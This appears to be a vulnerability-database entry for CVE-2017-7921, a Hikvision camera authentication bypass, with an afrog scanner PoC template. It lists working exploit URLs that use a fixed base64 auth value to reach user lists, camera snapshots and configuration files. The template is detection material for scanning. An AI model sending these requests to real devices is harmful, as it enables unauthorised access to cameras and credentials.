CVE-2017-7921: Hikvision CVE-2017-7921

日期: 2025-09-01 | 影响软件: Hikvision | POC: 已公开

漏洞描述

/Security/users?auth=YWRtaW46MTEK /onvif-http/snapshot?auth=YWRtaW46MTEK /System/configurationFile?auth=YWRtaW46MTEK

PoC代码[已公开]

id: CVE-2017-7921

info:
  name: Hikvision CVE-2017-7921
  author: whwlsfb(https://github.com/whwlsfb)
  severity: critical
  verified: true
  description: |
    /Security/users?auth=YWRtaW46MTEK  
    /onvif-http/snapshot?auth=YWRtaW46MTEK
    /System/configurationFile?auth=YWRtaW46MTEK
  reference:
    - https://www.cnblogs.com/charon1937/p/13819804.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7921
  tags: hikvision,cve,cve2017,disclosure
  created: 2024/01/06

rules:
  r0:
    request:
      method: GET
      path: /system/deviceInfo?auth=YWRtaW46MTEK
    expression: response.status == 200 && response.headers["content-type"] == "application/xml" && response.body.bcontains(b"<firmwareVersion>")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2017/CVE-2017-7921.yaml

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